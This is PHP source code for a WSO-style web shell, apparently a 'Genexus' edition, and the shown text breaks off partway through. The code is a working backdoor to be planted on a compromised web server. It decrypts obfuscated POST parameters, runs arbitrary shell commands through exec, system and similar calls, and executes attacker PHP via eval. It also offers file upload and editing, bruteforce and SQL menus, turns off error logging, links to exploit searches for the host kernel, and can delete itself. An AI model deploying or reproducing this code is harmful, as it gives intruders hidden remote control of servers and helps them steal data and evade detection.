sxmq5By2

1<?php
2$auth_user = "Amon";
3$auth_pass = "642954973d6d4ad756adcbd112070ed7";
4$color = "#ff75ea";
5$default_use_ajax = true;
6$default_charset = 'UTF-8';
7$default_action = 'FilesMan';
8
9$language = 'eng';
10$default_key = md5($_SERVER['HTTP_USER_AGENT']);
11define('GENEXUS', 'The Machine Of Doom');
12// Support Other Languages(Non - US Characters)
13header('Content-type: text/html; charset=utf-8');
14// No Logs
15@ini_set('error_log', null);
16@ini_set('log_errors', 0);
17@ini_set('max_execution_time', 0);
18@set_time_limit(0);
19@set_magic_quotes_runtime(0);
20/*
21 * Languages[Not Done]:
22 *
23 * English  - eng
24 * Russian  - rus
25 * German   - ger
26 * Japanese - jap
27 */
28switch($language) {
29	// English
30	case 'eng' : {
31		define('COMMAND_ERROR',           'Unable To Execute Command');
32		define('REMOVE_SHELL',            'Remove The Shell?');
33		# File Manager Errors
34		define('CANNOT_RENAME_FILE',      'Cannot Rename File');
35		define('FILE_NOT_WRITABLE',       'File Not Writeable');
36		define('CANNOT_SET_PERMISSIONS',  'Cannot Set Permissions');
37		define('FILE_DOESNT_EXIST',       'File Does Not Exist');
38		define('CANNOT_UPLOAD_FILE',      'Cannot Upload File');
39		define('CANNOT_OPEN_THIS_FOLDER', 'Cannot Open This Folder!');
40		define('CANNOT_MAKE_DIRECTORY',   'Cannot Create New Directory');
41		# File Manager Notifications
42		define('FILE_SAVED',              'Changes Saved');
43		
44		# Console Commands
45		define('SERVICES',                'Connections & Services');
46		define('SHOW_COMPUTERS',          'Show Computers');
47		define('TASKLIST',                'Task List');
48		break;
49	}
50	// Russian
51	case 'rus' : {
52		define('COMMAND_ERROR',           'Невозможно выполнить команду');
53		define('REMOVE_SHELL',            'Снимите корпус?');
54		# File Manager Errors
55		define('CANNOT_RENAME_FILE',      'Невозможно переименовать файл');
56		define('FILE_NOT_WRITABLE',       'Файл не доступен для записи');
57		define('CANNOT_SET_PERMISSIONS',  'Не удается настроить полномочия');
58		define('FILE_DOESNT_EXIST',       'Файл не существует');
59		define('CANNOT_UPLOAD_FILE',      'Невозможно загрузить файл!');
60		define('CANNOT_OPEN_THIS_FOLDER', 'Невозможно открыть эту папку!');
61		define('CANNOT_MAKE_DIRECTORY',   'Невозможно создать новый каталог');
62		# File Manager Notifications
63		define('FILE_SAVED',              'Изменения сохранены');
64		
65		# Console Commands
66		define('SERVICES',                'Соединения & услуги');
67		define('SHOW_COMPUTERS',          'Показать компьютеры');
68		define('TASKLIST',                'Список задач');
69		break;
70	}
71	// German
72	case 'ger' : {
73		define('COMMAND_ERROR',           'Befehl kann nicht ausgeführt werden');
74		define('REMOVE_SHELL',            'Entfernen Sie die Schale?');
75		# Systemfehler
76		define('CANNOT_RENAME_FILE',      'Datei kann nicht umbenannt werden');
77		define('FILE_NOT_WRITABLE',       'Datei ist nicht beschreibbar');
78		define('CANNOT_SET_PERMISSIONS',  'Keine Berechtigungen');
79		define('FILE_DOESNT_EXIST',       'Datei ist nicht vorhanden');
80		define('CANNOT_UPLOAD_FILE',      'Datei kann nicht hochgeladen werden!');
81		define('CANNOT_OPEN_THIS_FOLDER', 'Dieser Ordner kann nicht geöffnet werden!');
82		define('CANNOT_MAKE_DIRECTORY',   'Neues Verzeichnis kann nicht erstellt werden');
83		# File Manager Benachrichtigungen
84		define('FILE_SAVED',              'Änderungen wurden gespeichert');
85		
86		# Console Commands
87		define('SERVICES',                'Verbindungen & Dienstleistungen');
88		define('SHOW_COMPUTERS',          'Computer anzeigen');
89		define('TASKLIST',                'Aufgabenliste');
90		break;
91	}
92	// Japanese
93	case 'jap' : {
94		define('COMMAND_ERROR',           'コマンドを実行できません。');
95		define('REMOVE_SHELL',            'シェルを削除しますか？');
96		# ファイルマネージャでエラーが発生
97		define('CANNOT_RENAME_FILE',      'ファイルの名前を変更できません');
98		define('FILE_NOT_WRITABLE',       'ファイルの書き込みができません');
99		define('CANNOT_SET_PERMISSIONS',  'アクセス権を設定することはできません');
100		define('FILE_DOESNT_EXIST',       'ファイルが存在しません。');
101		define('CANNOT_UPLOAD_FILE',      'ファイルをアップロードできません !');
102		define('CANNOT_OPEN_THIS_FOLDER', '開くには、このフォルダはできません！');
103		define('CANNOT_MAKE_DIRECTORY',   '新しいディレクトリを作成することはできません');
104		# ファイルマネージャの通知
105		define('FILE_SAVED',              '保存された変更');
106		
107		# Console Commands
108		define('SHOW_COMPUTERS',          'コンピューターを表示します');
109		define('TASKLIST',                'タスクリスト');
110		break;
111	}
112}
113
114// Set Cookie
115if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
116    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . "key", $default_key);
117}
118if (empty($_POST['charset'])) {
119    // Default Charset Check
120    $_POST['charset'] = $default_charset;
121}
122if (!isset($_POST['ne'])) {
123    if (isset($_POST['a'])) {
124        $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
125    }
126    if (isset($_POST['c'])) {
127        $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
128    }
129    if (isset($_POST['p1'])) {
130        $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
131    }
132    if (isset($_POST['p2'])) {
133        $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
134    }
135    if (isset($_POST['p3'])) {
136        $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
137    }
138}
139// Decrypt
140function decrypt($str, $pwd) {
141    $pwd     = base64_encode($pwd);
142    $str     = base64_decode($str);
143    $enc_chr = "";
144    $enc_str = "";
145    $i       = 0;
146    while ($i < strlen($str)) {
147        for ($j = 0; $j < strlen($pwd); $j++) {
148            $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
149            $enc_str .= $enc_chr;
150            $i++;
151            if ($i >= strlen($str)) {
152                break;
153            }
154        }
155    }
156    return base64_decode($enc_str);
157}
158if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
159    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $default_use_ajax;
160}
161
162if (get_magic_quotes_gpc()) {
163    function WSOstripslashes($array) {
164        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
165    }
166    $_GET     = WSOstripslashes($_GET);
167    $_POST    = WSOstripslashes($_POST);
168    $_COOKIE  = WSOstripslashes($_COOKIE);
169    $_REQUEST = WSOstripslashes($_REQUEST);
170}
171if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
172    $os = 'win'; // Windows
173} else {
174    $os = 'nix'; // Linux
175}
176$safe_mode = @ini_get('safe_mode');
177if (!$safe_mode) {
178    error_reporting(0);
179}
180$disable_functions = @ini_get('disable_functions');
181$home_cwd          = @getcwd();
182//
183if (isset($_POST['c'])) {
184    @chdir($_POST['c']);
185}
186$cwd = @getcwd(); // Current Working Directory
187if ($os == 'win') {
188    $home_cwd = str_replace("\\", "/", $home_cwd);
189    $cwd      = str_replace("\\", "/", $cwd);
190}
191if ($cwd[strlen($cwd) - 1] != '/') {
192    $cwd .= '/';
193}
194if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
195    function posix_getpwuid($p) {
196        return false;
197    }
198}
199if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
200    function posix_getgrgid($p) {
201        return false;
202    }
203}
204function wsoEx($in) {
205    $out = '';
206    if (function_exists('exec')) {
207        @exec($in, $out);
208        $out = @join("\n", $out);
209    } elseif (function_exists('passthru')) {
210        ob_start();
211        @passthru($in);
212        $out = ob_get_clean();
213    } elseif (function_exists('system')) {
214        ob_start();
215        @system($in);
216        $out = ob_get_clean();
217    } elseif (function_exists('shell_exec')) {
218        $out = shell_exec($in);
219    } elseif (is_resource($f = @popen($in, "r"))) {
220        $out = "";
221        while (!@feof($f)) {
222            $out .= fread($f, 1024);
223        }
224        pclose($f);
225    } else {
226		echo sprintf("<center>%s</center>", COMMAND_ERROR);
227	}
228    return $out;
229}
230// Display File Sizes In A Human Readable Format
231function wsoViewSize($s) {
232// Integer Check
233	if (is_int($s)) {
234        $s = sprintf("%u", $s);
235	}
236	
237    if ($s >= 1073741824) {
238        // Gigabytes
239        return sprintf('%1.2f', $s / 1073741824) . ' GB';
240    } elseif ($s >= 1048576) {
241        // Megabytes
242        return sprintf('%1.2f', $s / 1048576) . ' MB';
243    } elseif ($s >= 1024) {
244        // Kilobytes
245        return sprintf('%1.2f', $s / 1024) . ' KB';
246    } else {
247        // Bytes
248        return "$s B";
249    }
250}
251// RC4 Function
252function rc4(&$data, $key) {
253    $len = strlen($data);
254    for ($z = $y = $x = 0; $x < $len; $x++) {
255        $z        = ($z + 1) % 256;
256        $y        = ($y + $key[$z]) % 256;
257        $tmp      = $key[$z];
258        $key[$z]  = $key[$y];
259        $key[$y]  = $tmp;
260        $data[$x] = chr(ord($data[$x]) ^ ($key[(($key[$z] + $key[$y]) % 256)]));
261    }
262}
263function wsoPerms($p) {
264    if (($p & 0xC000) == 0xC000) {
265        $i = 's'; // Socket
266    } elseif (($p & 0xA000) == 0xA000) {
267        $i = 'l'; // Symbolic Link
268    } elseif (($p & 0x8000) == 0x8000) {
269        $i = '-'; // Regular
270    } elseif (($p & 0x6000) == 0x6000) {
271        $i = 'b'; // Block special
272    } elseif (($p & 0x4000) == 0x4000) {
273        $i = 'd'; // Directory
274    } elseif (($p & 0x2000) == 0x2000) {
275        $i = 'c'; // Character Special
276    } elseif (($p & 0x1000) == 0x1000) {
277        $i = 'p'; // FIFO Pipe
278    } else {
279        $i = 'u'; // Unknown
280    }
281    // Owner
282    $i .= (($p & 0x0100) ? 'r' : '-');
283    $i .= (($p & 0x0080) ? 'w' : '-');
284    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
285    // Group
286    $i .= (($p & 0x0020) ? 'r' : '-');
287    $i .= (($p & 0x0010) ? 'w' : '-');
288    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
289    // World
290    $i .= (($p & 0x0004) ? 'r' : '-');
291    $i .= (($p & 0x0002) ? 'w' : '-');
292    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
293    return $i;
294}
295function wsoPermsColor($f) {
296	$permissions_final = wsoPerms(@fileperms($f));
297    if (!@is_readable($f)) {
298        // Neither Readable or Writable
299        return ("<font color = 'red'>$permissions_final</font>");
300    } elseif (!@is_writable($f)) {
301        // Only Readable
302        return ("<font color = 'white'>$permissions_final</font>");
303    } else {
304        // Readable & Writable
305        return ("<font color = 'green'>$permissions_final</font>");
306    }
307}
308function wsoScandir($dir) {
309    if (function_exists("scandir")) {
310        return scandir($dir);
311    } else {
312        $dh = opendir($dir);
313        while (false !== ($filename = readdir($dh))) {
314            $files[] = $filename;
315        }
316        return $files;
317    }
318}
319function wsoWhich($p) {
320    $path = wsoEx('which ' . $p);
321    if (!empty($path)) {
322        return $path;
323    }
324    return false;
325}
326function actionRC() {
327    if (!@$_POST['p1']) {
328        $a = array(
329            "uname"            => php_uname(),
330            "php_version"      => phpversion(),
331            "genexus_hwid_key" => GENEXUS,
332            "site_url"         => $full_url,
333            "safemode"         => @ini_get('safe_mode')
334        );
335        echo serialize($a);
336    } else {
337        eval($_POST['p1']);
338    }
339}
340// Set Cookie
341function WSOsetcookie($k, $v) {
342    $_COOKIE[$k] = $v;
343    setcookie($k, $v);
344}
345
346/*
347 * Logout Function(Destroys Cookie)
348 */
349function actionLogout() {
350    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
351    // Zeus Logout(Genexus Edition)
352    die("
353<style>
354html, body {
355  margin: 0;
356  padding: 0;
357  background: #FFFFFF;
358  color: #000000;
359  font-family: Verdana, Helvetica, sans-serif;
360  font-size: 10px
361}
362input, select, textarea {
363  font-family: Verdana, Helvetica, sans-serif;
364  font-size: 10px;
365  font-weight: normal;
366  margin: 0
367}
368pre {
369  font-size: 10pt
370}
371td {
372  margin: 0;
373  padding: 1px
374}
375a:link, a:visited {
376  color: #1E77D3;
377  text-decoration: none;
378  font-weight: normal
379}
380a:hover, a:active {
381  color: #1E77D3;
382  text-decoration: underline;
383  font-weight: normal
384}
385
386.table_frame {
387  border: solid 1px #1E77D3;
388  background: #F1F1F1;
389  margin: 0 auto;
390  padding: 1px
391}
392.table_frame td {
393  white-space:nowrap
394}
395.td_header {
396  background: #ba0d0d;
397  color: #E5EEF9;
398  font-weight: bold;
399  padding: 1px;
400  margin: 0
401}
402.td_header a:link, .td_header a:visited {
403  color: #E5EEF9;
404  text-decoration: none;
405  font-weight: bold
406}
407.td_header a:hover, .td_header a:active {
408  color: #E5EEF9;
409  text-decoration: underline;
410  font-weight: bold
411}
412
413.error {
414  color: #FF0000;
415  font-weight: bold
416}
417</style>
418    <table class = 'table_frame' style = 'width:auto'>
419            <tr>
420            <td colspan = '2' class = 'td_header' align = 'center'>Logged Out!</td>
421            </tr>
422            <tr>
423    <td colspan = '1' valign = 'top'>
424    <table class = 'table_frame' width = '100%'>
425    <td align = 'center'>
426        <strong class = 'error'>
427            Logs Have Been Wiped
428        </strong>
429    </td>
430");
431}
432
433// Shell Suicide
434function actionSelfRemove() {
435    if ($_POST['p1'] != 'yes') {
436        wsoHeader();
437		// Form Confirmation
438        echo sprintf("
439    <h1>Suicide</h1>
440    <div class = 'content'>
441	%s
442    <br>
443    <a href = '#' onclick = 'g(null,null,\"yes\")'>Yes</a>
444    </div>
445    ", REMOVE_SHELL);
446	
447    wsoFooter();
448    }
449    if ($_POST['p1'] == 'yes') {
450        // Yes Selected
451        if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
452            die("<center>Shell Deleted</center>");
453        } else {
454            echo ('Unlink Error!'); // Shell Not Deleted
455        }
456    }
457}
458function wsoHeader() {
459    if (empty($_POST['charset'])) {
460        $_POST['charset'] = $GLOBALS['default_charset'];
461		$current_charset = $_POST['charset'];
462    }
463    global $color;
464	//
465	$cookie_encrypted = $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"];
466	$current_file = addslashes($_SERVER['REQUEST_URI']);
467	// Actions[POST]
468	$action_a       = htmlspecialchars(@$_POST['a']);
469	$action_cwd     = htmlspecialchars($GLOBALS['cwd']);
470	$action_p1      = ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES));
471	$action_p2      = ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES));
472	$action_p3      = ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES));
473	$action_charset = htmlspecialchars(@$_POST['charset']);
474	// Javascript And CSS
475    echo "
476    <html>
477    <head>
478    <meta http-equiv = 'Content-Type' content = 'text/html; charset=$current_charset'>
479    <title>". "Your Pussy Baby <3" ."</title>
480<style>
481body{background-color:#444;color:#e1e1e1;}
482body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
483table.info{ color:#fff;background-color:#222; }
484span,h1,a{ color: $color !important; }
485span{ font-weight: bolder; }
486h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
487div.content{ padding: 5px;margin-left:5px;background-color:#333; }
488a{ text-decoration:none; }
489a:hover{ text-decoration:underline; }
490.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
491.bigarea{ width:100%;height:300px; }
492input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
493form{ margin:0px; }
494#toolsTbl{ text-align:center; }
495.toolsInp{ width: 300px }
496.main th{text-align:left;background-color:#5e5e5e;}
497.main tr:hover{background-color:#5e5e5e}
498.l1{background-color:#444}
499.l2{background-color:#333}
500pre{font-family:Courier,Monospace;}
501</style>
502<script>
503var a_  = '$action_a';
504var c_  = '$action_cwd';
505var p1_ = '$action_p1';
506var p2_ = '$action_p2';
507var p3_ = '$action_p3';
508var charset_ = '$action_charset';
509var d = document;
510
511
512
513function utf8_encode(argString) {
514    var string = (argString + '');
515    var utftext = '',
516        start, end, stringl = 0;
517    start = end = 0;
518    stringl = string.length;
519    for (var n = 0; n < stringl; n++) {
520        var c1 = string.charCodeAt(n);
521        var enc = null;
522        if (c1 < 128) {
523            end++;
524        } else if (c1 > 127 && c1 < 2048) {
525            enc = String.fromCharCode((c1 >> 6) | 192) + String.fromCharCode((c1 & 63) | 128);
526        } else {
527            enc = String.fromCharCode((c1 >> 12) | 224) + String.fromCharCode(((c1 >> 6) & 63) | 128) + String.fromCharCode((c1 & 63) | 128);
528        }
529        if (enc !== null) {
530            if (end > start) {
531                utftext += string.slice(start, end);
532            }
533            utftext += enc;
534            start = end = n + 1;
535        }
536    }
537    if (end > start) {
538        utftext += string.slice(start, stringl);
539    }
540    return utftext;
541}
542
543    function encrypt(str,pwd) {
544	if(pwd==null||pwd.length<=0){
545	return null;
546	}
547	str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
548
549    function base64_encode(data) {
550	var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
551	var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}
552	data = utf8_encode(data+'');
553	do{o1 = data.charCodeAt(i++);
554	o2 = data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}
555	while(i<data.length);
556	enc=tmp_arr.join('');
557	switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;
558	}
559	
560    function set(a,c,p1,p2,p3,charset) {
561if (a != null) {
562d.mf.a.value = a;
563} else {
564d.mf.a.value = a_;
565}
566if (c != null) {
567d.mf.c.value = c;
568} else {
569d.mf.c.value = c_;
570}
571if (p1 != null) {
572d.mf.p1.value = p1;
573} else {
574d.mf.p1.value = p1_;
575}
576if (p2 != null) {
577d.mf.p2.value = p2;
578} else {
579d.mf.p2.value = p2_;
580}
581if (p3 != null) {
582d.mf.p3.value = p3;
583} else {
584d.mf.p3.value = p3_;
585}
586        d.mf.a.value = encrypt(d.mf.a.value, '$cookie_encrypted');
587        d.mf.c.value = encrypt(d.mf.c.value, '$cookie_encrypted');
588        d.mf.p1.value = encrypt(d.mf.p1.value, '$cookie_encrypted');
589        d.mf.p2.value = encrypt(d.mf.p2.value, '$cookie_encrypted');
590        d.mf.p3.value = encrypt(d.mf.p3.value, '$cookie_encrypted');
591        if (charset != null) {
592d.mf.charset.value = charset;
593} else {
594d.mf.charset.value = charset_;
595}
596    }
597    function g(a,c,p1,p2,p3,charset) {
598        set(a,c,p1,p2,p3,charset);
599        d.mf.submit();
600    }
601    function a(a,c,p1,p2,p3,charset) {
602        set(a,c,p1,p2,p3,charset);
603        var params = 'ajax=true';
604        for(i = 0;i < d.mf.elements.length; i++) {
605            params += '&' + d.mf.elements[i].name +'='+ encodeURIComponent(d.mf.elements[i].value);
606        }
607        sr('$current_file', params);
608    }
609    function sr(url, params) {
610        if (window.XMLHttpRequest)
611            req = new XMLHttpRequest();
612        else if (window.ActiveXObject)
613            req = new ActiveXObject('Microsoft.XMLHTTP');
614if (req) {
615req.onreadystatechange = processReqChange;
616req.open('POST', url, true);
617req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
618req.send(params);
619}
620}
621    function processReqChange() {
622        if((req.readyState == 4)) {
623            if(req.status == 200) {
624                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
625                var arr = reg.exec(req.responseText);
626                eval(arr[2].substr(0, arr[1]));
627            } else {
628                alert('AJAX/JS Code Error');
629            }
630        }
631    }
632</script>
633</head>
634<body>
635<div style = 'position:absolute;width:100%;background-color:#444;top:0;left:0;'>
636<form method = 'post' name = 'mf' style = 'display:none;'>
637<input type = 'hidden' name = 'a'>
638<input type = 'hidden' name = 'c'>
639<input type = 'hidden' name = 'p1'>
640<input type = 'hidden' name = 'p2'>
641<input type = 'hidden' name = 'p3'>
642<input type = 'hidden' name = 'charset'>
643</form>
644";
645
646    $freeSpace  = @diskfreespace($GLOBALS['cwd']);
647    $totalSpace = @disk_total_space($GLOBALS['cwd']);
648    $totalSpace = $totalSpace ? $totalSpace : 1;
649    // Exploit DB
650    $release    = @php_uname('r');
651    $kernel     = @php_uname('s');
652    $explink    = 'http://exploit-db.com/search/?action=search&filter_description=';
653    if (strpos('Linux', $kernel) !== false) {
654        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
655    } else {
656        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
657    }
658    if (!function_exists('posix_getegid')) {
659        $user  = @get_current_user();
660        $uid   = @getmyuid();
661        $gid   = @getmygid();
662        $group = '?';
663    } else {
664        $uid   = @posix_getpwuid(posix_geteuid());
665        $gid   = @posix_getgrgid(posix_getegid());
666        $user  = $uid['name'];
667        $uid   = $uid['uid'];
668        $group = $gid['name'];
669        $gid   = $gid['gid'];
670    }
671	
672	
673	// Navigation Menu
674    $cwd_links   = '';
675    $path        = explode("/", $GLOBALS['cwd']);
676    $dirs_in_cwd = count($path);
677    for ($i = 0; $i < $dirs_in_cwd - 1; $i++) {
678        $cwd_links .= "<a href = '#' onclick = 'g(\"FilesMan\",\"";
679        for ($j = 0; $j <= $i; $j++) {
680            $cwd_links .= ($path[$j] . '/');
681        }
682        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
683    }
684    $charsets     = array(
685        'UTF-8',
686        'Windows-1251',
687        'KOI8-R',
688        'KOI8-U',
689        'cp866'
690    );
691	
692    $opt_charsets = '';
693    foreach ($charsets as $item) {
694		$charset_selected = ($_POST['charset'] == $item ? ' selected' : '');
695        $opt_charsets .= "<option value = '$item'$charset_selected>$item</option>";
696    }
697    $menu = array('Bruteforce' => 'Bruteforce','Console' => 'Console','FilesMan' => 'FilesMan','Network' => 'Network','Php' => 'Php','SecInfo' => 'SecInfo','Sql' => 'Sql','StringTools' => 'StringTools');
698    if (!empty($GLOBALS['auth_pass'])) {
699        $menu['Logout'] = 'Logout';
700    }
701    $menu['Self Remove'] = 'SelfRemove';
702    $final_menu             = '';
703    // Adjustable Menu Size And Links
704    foreach ($menu as $menu_display_text => $menu_action) {
705		$menu_percent_size = (int)(100 / count($m));
706        $final_menu .= "<th width = '$menu_percent_size%'>[ <a href = '#' onclick = \"g('$menu_action',null,'','','')\">$menu_display_text</a> ]</th>";
707    }
708    $drives = '';
709    if ($GLOBALS['os'] == 'win') {
710        foreach (range('c', 'z') as $drive) {
711            if (is_dir($drive . ':\\')) {
712                $drives .= '<a href = "#" onclick = "g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
713            }
714        }
715    }
716	/* 
717	 * Header Variables
718	 */
719	$server_ip = @$_SERVER['SERVER_ADDR'];
720	
721	$cwd_display = ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '');
722	$php_uname = substr(@php_uname(), 0, 120);
723	$safe_mode_display = ($GLOBALS['safe_mode'] ? "<font color = 'red'>On</font>" : "<font color = 'green'><b>Off</b></font>");
724	// PID(User/Group)
725	$user_pid  = ("$uid [$user]");
726	$group_pid = ("$gid [$group]");
727	// Exploit DB Link
728	$exploit_db_link = ("<a href = '$explink' target = '_blank'>[exploit-db.com]</a>");
729	$php_version = @phpversion();
730	
731	$date_time = date('Y-m-d H:i:s');
732	// HDD Space & Free Space Left
733	$total_drive_space = wsoViewSize($totalSpace);
734	$drive_space_percent = (int)($freeSpace / $totalSpace * 100);
735	
736	$free_drive_space  = wsoViewSize($freeSpace);
737	$total_free_space = ("$free_drive_space [$drive_space_percent%]");
738	
739// CWD Navigation
740	$cwd_color = wsoPermsColor($GLOBALS['cwd']);
741	$home_folder = $GLOBALS['home_cwd'];
742$all_directories_nav = <<<CWD
743	$cwd_links $cwd_color <a href = '#' onclick = "g('FilesMan', '$home_folder','','','')">[ Home ]</a>
744CWD;
745	/*
746	 * Orignal CWD Navigation Link:
747	 * 
748	 * <a href = '#' onclick = "g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Home ]</a>
749	 */
750	// The Header Table
751    $header_information = <<<HEADER
752	<table class = 'info' cellpadding = '3' cellspacing = '0' width = '100%'><tr>
753	<td width = '1'>
754	<span>
755	Uname:
756	<br>
757	User:
758	<br>
759	PHP:
760	<br>
761	HDD:
762	<br>
763	CWD: $cwd_display
764	</span>
765	</td>
766	
767	<td>
768	<nobr>
769	$php_uname 
770	$exploit_db_link
771	</nobr>
772	<br>
773	$user_pid
774	<span>Group:</span>
775	$group_pid
776	<br>
777	$php_version 
778	<span>Safe Mode:</span> $safe_mode_display
779	<a href = '#' onclick = "g('Php',null,'','info')">[ phpinfo ]</a> 
780	<span>Datetime:</span> $date_time
781	<br>
782	$total_drive_space
783	<span>Free:</span> $total_free_space
784	<br>
785	$all_directories_nav
786	<br>
787	$drives
788	</td>
789	
790	<td width=1 align = 'right'>
791	<nobr>
792	<select onchange = "g(null,null,null,null,null,this.value)"><optgroup label = "Page Charset">$opt_charsets</optgroup></select>
793	<br>
794	<span>Server IP:</span>
795	<br>
796	$server_ip
797	<br>
798	<span>Client IP:</span>
799	<br> Hidden By Jesus
800	</nobr>
801	</td>
802	</tr>
803	</table>
804	
805	<table style = 'border-top:2px solid #333;' cellpadding = '3' cellspacing = '0' width = '100%'>
806	<tr>$final_menu</tr>
807	</table>
808	<div style = "margin:5">
809HEADER;
810
811// Output The Header
812echo $header_information;
813}
814// Footer
815function wsoFooter() {
816	
817	$is_writable = is_writable($GLOBALS['cwd']) ? " <font color = 'green'>[Writeable]</font> " : " <font color = 'red'>[Not writable]</font> ";
818	$footer_charset_check = (isset($_POST['charset']) ? $_POST['charset'] : '');
819	$footer_cwd = $GLOBALS['cwd'];
820	// Function Checks
821	$footer_cwd_html = htmlspecialchars($GLOBALS['cwd']);
822	
823	$footer_action_files   = (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" :'');
824	$footer_action_mkdir   = (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '');
825	$footer_action_tools   = (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '');
826	$footer_action_mkfile  = (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '');
827	$footer_action_console = (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '');
828	$footer_action_upload  = ((!function_exists('actionFilesMan')) ? "onsubmit = 'return false;'" : '');
829	// The Footer
830$footer = <<<FOOTER
831</div>
832<table class = 'info' id = 'toolsTbl' cellpadding = '3' cellspacing = '0' width = '100%'  style = 'border-top:2px solid #333;border-bottom:2px solid #333;'>
833	<tr>
834		<td>
835		<form onsubmit = "${footer_action_files}return false;">
836		<span>Change Dir:</span>
837		<br>
838		<input class = 'toolsInp' type = 'text' name = 'c' value = '$footer_cwd_html'>
839		<input type = 'submit' value = '>>'>
840		</form>
841		</td>
842		<td>
843		<form onsubmit = "${footer_action_tools}return false;">
844		<span>Read File:</span><br>
845		<input class = 'toolsInp' type = 'text' name = 'f'>
846		<input type = 'submit' value = '>>'></form>
847		</td>
848	</tr><tr>
849		<td>
850		<form onsubmit = "${footer_action_mkdir}return false;">
851		<span>Make Dir: </span>$is_writable<br>
852		<input class = 'toolsInp' type = 'text' name = 'd'>
853		<input type = 'submit' value = '>>'></form>
854		</td>
855	<td>
856	<form onsubmit = "${footer_action_mkfile}return false;">
857	<span>Make File:</span>$is_writable<br>
858	<input class = 'toolsInp' type = 'text' name = 'f'>
859	<input type = 'submit' value = '>>'>
860	</form>
861	</td>
862	</tr><tr>
863		<td>
864		<form onsubmit = "${footer_action_console}return false;">
865		<span>Execute:</span>
866		<br>
867		<input class = 'toolsInp' type = 'text' name = 'c' value = ''>
868		<input type = 'submit' value = '>>'></form>
869		</td>
870		<td><form method = 'post' $footer_action_upload ENCTYPE = 'multipart/form-data'>
871		<input type = 'hidden' name = 'a' value = 'FilesMan'>
872		<input type = 'hidden' name = 'c' value = '$footer_cwd'>
873		<input type = 'hidden' name = 'p1' value = 'uploadFile'>
874		<input type = 'hidden' name = 'ne' value = ''>
875		<input type = 'hidden' name = 'charset' value = ''>
876		<span>Upload File:</span>$is_writable<br>
877		<input class = 'toolsInp' type = 'file' name = 'f'>
878		<input type = 'submit' value = '>>'>
879		</form>
880		<br>
881		</td>
882	</tr>
883</table>
884</div>
885</body>
886</html>
887FOOTER;
888
889echo $footer;
890} 
891//-----------------------------------------------------
892// User Agent Firewall
